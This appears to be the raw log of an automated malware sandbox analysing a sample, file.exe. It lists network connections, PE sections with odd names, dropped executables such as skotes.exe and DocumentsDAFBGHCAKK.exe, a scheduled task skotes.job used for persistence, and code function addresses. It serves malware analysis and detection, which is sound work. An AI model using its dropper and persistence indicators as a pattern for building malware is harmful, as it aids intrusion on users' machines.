Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.190.177.19:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.43:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.56:443 -> 192.168.2.6:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49939 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name:
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: .idata
Source: skotes.exe.27.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: 87df69758f.exe.32.dr	Static PE information: section name:
Source: 87df69758f.exe.32.dr	Static PE information: section name: .idata
Source: 87df69758f.exe.32.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsDAFBGHCAKK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1ECC0	0_2_6CA1ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7ECD0	0_2_6CA7ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFAC30	0_2_6CAFAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C00	0_2_6CAE6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2AC60	0_2_6CA2AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA24DB0	0_2_6CA24DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6D90	0_2_6CAB6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBACDC0	0_2_6CBACDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8D20	0_2_6CBA8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEED70	0_2_6CAEED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AD50	0_2_6CB4AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6E90	0_2_6CAA6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2AEC0	0_2_6CA2AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0EC0	0_2_6CAC0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00E20	0_2_6CB00E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEE70	0_2_6CABEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68FB0	0_2_6CB68FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2EFB0	0_2_6CA2EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA20FE0	0_2_6CA20FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFEFF0	0_2_6CAFEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60F20	0_2_6CB60F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA26F10	0_2_6CA26F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2F70	0_2_6CAE2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8EF40	0_2_6CA8EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB268E0	0_2_6CB268E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA70820	0_2_6CA70820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA820	0_2_6CAAA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4840	0_2_6CAF4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB09A0	0_2_6CAB09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA9A0	0_2_6CADA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE09B0	0_2_6CAE09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C9E0	0_2_6CB3C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA549F0	0_2_6CA549F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76900	0_2_6CA76900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58960	0_2_6CA58960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9EA80	0_2_6CA9EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8A30	0_2_6CAD8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACEA00	0_2_6CACEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9CA70	0_2_6CA9CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0BA0	0_2_6CAC0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28BAC	0_2_6CA28BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB26BE0	0_2_6CB26BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4A480	0_2_6CB4A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA664D0	0_2_6CA664D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA4D0	0_2_6CABA4D0
